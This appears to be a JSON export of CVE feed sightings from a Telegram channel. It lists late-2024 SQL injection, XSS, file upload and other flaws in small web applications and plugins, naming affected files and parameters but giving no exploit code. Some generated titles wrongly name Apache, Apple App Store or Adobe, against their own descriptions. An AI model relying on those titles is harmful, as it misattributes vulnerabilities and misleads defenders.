"content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12956 - \"Unrestricted File Upload in 1000 Projects Portfolio Management System MCA\"\", \n  \"Content\": \"CVE ID : CVE-2024-12956 \nPublished : Dec. 26, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0 and classified as critical. This issue affects some unknown processing of the file /add_achievement_details.php. The manipulation of the argument ach_certy leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T16:34:21.000000Z"}, {"uuid": "56ece69e-3b79-4d1c-8905-c9102c00cacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12953", "type": "seen", "source": "https://t.me/cvedetector/13681", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12953 - Apache {(MCA) Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12953 \nPublished : Dec. 26, 2024, 2:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Portfolio Management System MCA 1.0. Affected by this issue is some unknown functionality of the file /update_pd_process.php. The manipulation of the argument profile leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T15:44:14.000000Z"}, {"uuid": "2466f68a-ecc0-4345-9e45-1c025022a69b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12951", "type": "seen", "source": "https://t.me/cvedetector/13679", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12951 - \"1000 Projects Portfolio Management System MCA PHP Unrestricted File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12951 \nPublished : Dec. 26, 2024, 1:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in 1000 Projects Portfolio Management System MCA 1.0. Affected is an unknown function of the file /add_personal_details.php. The manipulation of the argument profile leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:54:05.000000Z"}, {"uuid": "8392dd50-d404-467b-8767-76786969bd2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://t.me/cvedetector/13564", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12622 - WordPress Simple Shopping Cart Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12622 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_cart_button' and 'wp_cart_display_product' shortcodes in all versions up to, and including, 5.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:43.000000Z"}, {"uuid": "7ee15641-bc49-4477-b0b0-8d52a010973a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://t.me/cvedetector/13563", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12594 - \"Limit Login Attempts - Locked Site Privilege Escalation Vulnerability in WordPress\"\", \n  \"Content\": \"CVE ID : CVE-2024-12594 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Custom Login Page Styler \u2013 Login Protected Private Site , Change wp-admin login url , WordPress login logo , Temporary admin login access , Rename login , Login customizer, Hide wp-login \u2013 Limit Login Attempts \u2013 Locked Site plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'lps_generate_temp_access_url' AJAX action in all versions up to, and including, 7.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to login as other users such as subscribers. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:42.000000Z"}, {"uuid": "65df01dd-e26d-4e2b-a5b8-5ef4793b0085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://t.me/cvedetector/13710", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12979 - Code-Projects Job Recruitment Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12979 \nPublished : Dec. 27, 2024, 5:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0 and classified as problematic. This issue affects the function cn_update of the file /_parse/_all_edits.php. The manipulation of the argument cname leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T06:47:19.000000Z"}, {"uuid": "d87d5463-7381-4d40-93b8-c106bb392290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12966", "type": "seen", "source": "https://t.me/cvedetector/13694", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12966 - \"Code-projects Job Recruitment SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12966 \nPublished : Dec. 26, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as critical. This issue affects the function cn_update of the file /_parse/_all_edits.php. The manipulation of the argument cname/url leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T23:15:42.000000Z"}, {"uuid": "3d7436ae-f88b-4cce-95e2-5e0001b995a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12963", "type": "seen", "source": "https://t.me/cvedetector/13693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12963 - Code-projects Job Recruitment SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12963 \nPublished : Dec. 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0 and classified as critical. Affected by this issue is the function add_xp of the file /_parse/_all_edits.php. The manipulation of the argument job_company leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T22:25:32.000000Z"}, {"uuid": "42775568-2f2d-4bce-9958-e3fdda52f2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12964", "type": "seen", "source": "https://t.me/cvedetector/13692", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12964 - \"1000 Projects Daily College Class Work Report Book SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12964 \nPublished : Dec. 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Daily College Class Work Report Book 1.0. It has been classified as critical. This affects an unknown part of the file /login.php. The manipulation of the argument user leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T22:25:32.000000Z"}, {"uuid": "3d12fbb7-71ec-4e35-a8d2-53f69fd7aab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12962", "type": "seen", "source": "https://t.me/cvedetector/13691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12962 - Code-Projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12962 \nPublished : Dec. 26, 2024, 7:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Job Recruitment 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /_parse/_all_edits.php. The manipulation of the argument skillset leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T20:45:11.000000Z"}, {"uuid": "4ce962fd-ac71-480b-b84e-fc3fe52d8e1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://t.me/cvedetector/13683", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12955 - PHPGurukul Blood Bank & Donor Management System CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12955 \nPublished : Dec. 26, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability has been found in PHPGurukul Blood Bank & Donor Management System 2.4 and classified as problematic. This vulnerability affects unknown code of the file /logout.php. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T16:34:22.000000Z"}, {"uuid": "dce1dc86-5067-4ef1-afbe-6dccac10b1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://t.me/cvedetector/13637", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12927 - \"1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12927 \nPublished : Dec. 25, 2024, 11:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Attendance Tracking Management System 1.0. Affected by this issue is some unknown functionality of the file /faculty/check_faculty_login.php. The manipulation of the argument faculty_emailid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T00:41:02.000000Z"}, {"uuid": "ff7c0483-55a9-4c30-80aa-0100e1c776e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://t.me/cvedetector/13678", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12952 - Apple App Store MelMass Comfy_mtB Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12952 \nPublished : Dec. 26, 2024, 1:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in melMass comfy_mtb up to 0.1.4. Affected by this vulnerability is the function run_command of the file comfy_mtb/endpoint.py of the component Dependency Handler. The manipulation leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The patch is named d6e004cce2c32f8e48b868e66b89f82da4887dc3. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:54:04.000000Z"}, {"uuid": "5141e9d2-172c-4292-a4ba-b88718cad930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://t.me/cvedetector/13675", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12949 - Code-projects Travel Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12949 \nPublished : Dec. 26, 2024, 12:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /package.php. The manipulation of the argument subcatid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:03:58.000000Z"}, {"uuid": "fdf3f230-bcb0-4dce-94fb-b4d50b6fbc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://t.me/cvedetector/13674", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12950 - Adobe Code-Projects Travel Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12950 \nPublished : Dec. 26, 2024, 12:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /subcat.php. The manipulation of the argument catid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:03:57.000000Z"}, {"uuid": "5eaba248-c647-40a9-bd46-e3c15c0c0484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://t.me/cvedetector/13665", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12947 - Codezips Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12947 \nPublished : Dec. 26, 2024, 11:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in Codezips Hospital Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /invo.php. The manipulation of the argument dname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T13:13:39.000000Z"}, {"uuid": "c83c5021-6c09-4805-a816-4894ef9a86d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://t.me/cvedetector/13661", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12945 - Simple Car Rental System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12945 \nPublished : Dec. 26, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Simple Car Rental System 1.0. This vulnerability affects unknown code of the file /account.php. The manipulation of the argument email/pass leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T12:23:28.000000Z"}, {"uuid": "be97766f-762f-422e-a6ac-596f7e545d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://t.me/cvedetector/13656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12944 - CodeAstro House Rental Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12944 \nPublished : Dec. 26, 2024, 9:15 a.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro House Rental Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /signin.php. The manipulation of the argument u/p leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T10:43:05.000000Z"}, {"uuid": "b5e051cc-7b50-40d3-9ccf-3dfb04a1a053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://t.me/cvedetector/13655", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12942 - 1000 Projects Portfolio Management System MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12942 \nPublished : Dec. 26, 2024, 8:15 a.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/admin_login.php. The manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:52:56.000000Z"}, {"uuid": "d2e20d8d-9674-46ed-9779-f0624462e665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12941", "type": "seen", "source": "https://t.me/cvedetector/13654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12941 - CodeAstro Blood Donor Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12941 \nPublished : Dec. 26, 2024, 8:15 a.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro Blood Donor Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /pages/deletedannounce.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:52:55.000000Z"}, {"uuid": "61093cba-0c16-41ec-b4a2-abfd19b641af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://t.me/cvedetector/13645", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12933 - Code-Projects Simple Admin Panel Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12933 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file updateItemController.php. The manipulation of the argument p_name/p_desc leads to cross site scripting. The attack may be launched remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:02.000000Z"}, {"uuid": "a4e8acaa-ada1-4ccc-88df-fc61d94537fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://t.me/cvedetector/13644", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12652 - SmartRobot Conversational AI Platform Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12652 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A Improper Control of Generation of Code ('Code Injection') vulnerability in groovy script function in SmartRobot\u2032s Conversational AI Platform before v7.2.0 allows remote authenticated users to perform arbitrary system commands via Groovy code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:02.000000Z"}, {"uuid": "63cca1f4-c1f0-4315-90f2-21b6faf74a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://t.me/cvedetector/13643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12934 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12934 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Simple Admin Panel 1.0. This affects an unknown part of the file updateItemController.php. The manipulation of the argument p_desk leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:01.000000Z"}, {"uuid": "e9c1cb80-805a-44da-b8fd-bc9e0347a4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://t.me/cvedetector/13642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12931 - Code-projects Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12931 \nPublished : Dec. 26, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been classified as critical. Affected is an unknown function of the file /addCatController.php. The manipulation of the argument size leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:51:56.000000Z"}, {"uuid": "38ee8e92-1ea6-4838-973a-6b9eb2148fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12937", "type": "seen", "source": "https://t.me/cvedetector/13650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12937 - Apache Code-Projects Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12937 \nPublished : Dec. 26, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Simple Admin Panel 1.0. Affected is an unknown function of the file addVariationController.php. The manipulation of the argument qty leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T08:12:35.000000Z"}, {"uuid": "cfa7ae5b-f21e-4d83-a3c4-a967380cce56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://t.me/cvedetector/13647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12935 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12935 \nPublished : Dec. 26, 2024, 5:15 a.m. | 16\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Simple Admin Panel 1.0. This vulnerability affects unknown code of the file editItemForm.php. The manipulation of the argument record leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T06:32:12.000000Z"}, {"uuid": "073ed97a-385b-44c7-9b26-48a475d27a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://t.me/cvedetector/13646", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12936 - Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12936 \nPublished : Dec. 26, 2024, 5:15 a.m. | 16\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has 